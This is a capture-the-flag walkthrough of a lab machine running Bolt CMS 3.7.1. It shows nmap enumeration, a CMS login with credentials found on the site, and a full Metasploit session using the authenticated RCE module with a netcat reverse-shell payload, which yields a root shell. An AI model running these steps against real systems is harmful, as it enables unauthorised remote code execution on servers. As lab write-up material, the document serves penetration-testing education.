Initial Enumeration

I started the initial enumeration with a nmap scan looking for open ports and services.

└─$ nmap -sC -sV -oN nmap/initial
Starting Nmap 7.80 ( ) at 2021-01-01 22:15 IST
Nmap scan report for
Host is up (0.43s latency).
Not shown: 997 closed ports
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f3:85:ec:54:f2:01:b1:94:40:de:42:e8:21:97:20:80 (RSA)
|   256 77:c7:c1:ae:31:41:21:e4:93:0e:9a:dd:0b:29:e1:ff (ECDSA)
|_  256 07:05:43:46:9d:b2:3e:f0:4d:69:67:e4:91:d3:d3:7f (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8000/tcp open  http    (PHP 7.2.32-1)
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Date: Fri, 01 Jan 2021 16:46:37 GMT
|     Connection: close
|     X-Powered-By: PHP/
|     Cache-Control: private, must-revalidate
|     Date: Fri, 01 Jan 2021 16:46:37 GMT
|     Content-Type: text/html; charset=UTF-8
|     pragma: no-cache
|     expires: -1
|     X-Debug-Token: ec6bdf
|     <!doctype html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Bolt | A hero is unleashed</title>
|     <link href="|Roboto:400,400i,700" rel="stylesheet">
|     <link rel="stylesheet" href="/theme/base-2018/css/bulma.css?8ca0842ebb">
|     <link rel="stylesheet" href="/theme/base-2018/css/theme.css?6cb66bfe9f">
|     <meta name="generator" content="Bolt">
|     <link rel="canonical" href="">
|     </head>
|_    <body class="front">
|_http-generator: Bolt
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Bolt | A hero is unleashed

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 88.12 seconds

Three different ports were open, I decided to start with enumeration with port 80 first. After viewing the page in the web browser, it displays the Apache2 Ubuntu default page.

Next, I performed a gobuster scan, but did not find any hidden directory, so I stopped enumerating this port further and moved to port 8000.

As the name suggests, this website is running Bolt CMS and by scrolling down, I found two posts. Inside the posts, I found the username and the password for logging into the CMS.

Next, we can access the login panel by using the /bolt directory and login with the username and password we found.

After logging in we will be redirected to the dashboard. After viewing the dashboard, we can see that this website it running Bolt CMS v3.7.1

Next, I searched on google for Bolt CMS 3.7.1 and found that we have an authenticated remote code execution exploit available for this version which can be exploited via metasploit.

So I opened my metasploit using the command msfconsole and searched for Bolt CMS.

msf6 > search Bolt CMS

Matching Modules

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/multi/http/bolt_file_upload         2015-08-17       excellent  Yes    CMS Bolt File Upload Vulnerability
   1  exploit/unix/webapp/bolt_authenticated_rce  2020-05-07       excellent  Yes    Bolt CMS 3.7.0 - Authenticated Remote Code Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/webapp/bolt_authenticated_rce

First I used the use command to select the exploit and then the show options command to look for all the options available in the exploit.

msf6 > use exploit/unix/webapp/bolt_authenticated_rce
[*] Using configured payload cmd/unix/reverse_netcat

msf6 exploit(unix/webapp/bolt_authenticated_rce) > show options

Module options (exploit/unix/webapp/bolt_authenticated_rce):

   Name                 Current Setting        Required  Description
   ----                 ---------------        --------  -----------
   FILE_TRAVERSAL_PATH  ../../../public/files  yes       Traversal path from "/files" on the web server to "/root" on the server
   PASSWORD                                    yes       Password to authenticate with
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                8000                   yes       The target port (TCP)
   SRVHOST                    yes       The local host or network interface to listen on. This must be an address on the local machine or to listen on all addresses.
   SRVPORT              8080                   yes       The local port to listen on.
   SSL                  false                  no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI            /                      yes       Base path to Bolt CMS
   URIPATH                                     no        The URI to use for this exploit (default is random)
   USERNAME                                    yes       Username to authenticate with
   VHOST                                       no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   Linux (cmd)

Next, we need to set some required options such as RHOSTS or the username and password. After that we can execute the exploit to get a reverse shell.

msf6 exploit(unix/webapp/bolt_authenticated_rce) > set LHOST tun0
msf6 exploit(unix/webapp/bolt_authenticated_rce) > set RHOSTS
msf6 exploit(unix/webapp/bolt_authenticated_rce) > set USERNAME ****
USERNAME => ****
msf6 exploit(unix/webapp/bolt_authenticated_rce) > set PASSWORD ***********
PASSWORD => ***********
msf6 exploit(unix/webapp/bolt_authenticated_rce) > exploit

[*] Started reverse TCP handler on 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Successfully changed the /bolt/profile username to PHP $_GET variable "irevo".
[*] Found 2 potential token(s) for creating .php files.
[+] Deleted file popededhnha.php.
[+] Used token 6a01ac3baf0065b88cfb2fb398 to create riuidgbz.php.
[*] Attempting to execute the payload via "/files/riuidgbz.php?irevo=`payload`"
[*] Command shell session 1 opened ( -> at 2021-01-01 22:28:57 +0530
[!] No response, may have executed a blocking payload!
[+] Deleted file riuidgbz.php.
[+] Reverted user profile back to original state.

uid=0(root) gid=0(root) groups=0(root)

Now that we have a root shell, we can read the final flag. I searched for the flag and found that it was present in the home directory.

python3 -c 'import pty;pty.spawn("/bin/bash")'
root@bolt:~/public/files# find / -name flag.txt 2>/dev/null
find / -name flag.txt 2>/dev/null
root@bolt:~/public/files# cat /home/flag.txt
cat /home/flag.txt

That’s it! Thanks for reading. Stay tuned for similar walkthroughs and much more coming up in the near future!

NOTE: The awesome artwork used in this article was created by Odom Sok.